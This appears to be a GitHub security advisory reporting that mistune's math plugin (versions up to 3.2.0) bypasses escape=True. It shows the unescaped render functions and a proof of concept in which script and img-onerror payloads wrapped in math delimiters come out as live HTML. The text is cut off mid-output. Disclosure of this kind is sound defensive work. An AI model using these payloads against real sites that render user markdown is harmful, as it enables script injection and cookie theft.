GitHub Security Advisory: GHSA-8g87-j6q8-g93x
Package: mistune (PIP)
Severity: MODERATE (CVSS 6.1)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 3.2.0
Patched in: unpatched

Summary: Mistune Math Plugin has an XSS Escape Bypass

Details:
## Summary
The mistune math plugin renders inline math (`$...$`) and block math (`$$...$$`) by concatenating the raw user-supplied content directly into the HTML output **without any HTML escaping**. This occurs even when the parser is explicitly created with `escape=True`, which is supposed to guarantee that all user-controlled text is sanitised before reaching the DOM.

The result is a silent contract violation: a developer who enables `escape=True` reasonably expects complete XSS protection, but the math plugin operates as an independent render path that ignores the renderer's `_escape` flag entirely.

## Details
**File:** `src/mistune/plugins/math.py`

```python
def render_inline_math(renderer, text):
    # `text` is raw user input — no escape() call anywhere
    return r'<span class="math">\(' + text + r"\)</span>"

def render_block_math(renderer, text):
    # same issue for block-level $$...$$
    return '<div class="math">$$\n' + text + "\n$$</div>\n"
```

Both functions take `text` directly from the parsed token and concatenate it into the output string. Neither function:
- calls `escape(text)` from `mistune.util`
- checks `renderer._escape`
- calls `safe_entity(text)` or any other sanitisation helper

The `escape=True` flag only influences the main `HTMLRenderer` methods (`paragraph`, `heading`, `codespan`, etc.). Plugin render functions registered via `md.renderer.register()` receive the `renderer` instance but have no mechanism that enforces the escape contract - they must opt in manually, and `math.py` does not.

## PoC
**Step 1 — Establish the baseline (escape=True works for plain HTML)**

The script creates a markdown parser with `escape=True` and the math plugin enabled, then feeds it a raw `<script>` tag that is *not* inside math delimiters:

```python
md = create_markdown(escape=True, plugins=["math"])
bl_src = "<script>alert(document.cookie)</script>\n"
bl_out = str(md(bl_src))
```

Expected and actual output — the script tag is correctly escaped:
```html
<p>&lt;script&gt;alert(document.cookie)&lt;/script&gt;</p>
```

This confirms `escape=True` is working for the normal render path.

**Step 2 — Craft the exploit payload**

Wrap the identical `<script>` payload inside inline math delimiters `$...$`. The content is token-extracted as `text` and handed to `render_inline_math()`:

```python
ex_src = "$<script>alert(document.cookie)</script>$\n"
ex_out = str(md(ex_src))
```

**Step 3 — Observe the bypass**

Actual output — the script tag is emitted raw, unescaped:
```html
<p><span class="math">\(<script>alert(document.cookie)</script>\)</span></p>
```

The `<script>` block is live inside the `<span class="math">` wrapper. Any browser that renders this HTML will execute `alert(document.cookie)`.

**Step 4 — Block math variant (`$$...$$`)**

The same bypass applies to block-level math. Payload:
```
$$
<img src=x onerror="alert(document.cookie)">
$$
```

Output:
```html
<div class="math">$$
<img src=x onerror="alert(document.cookie)">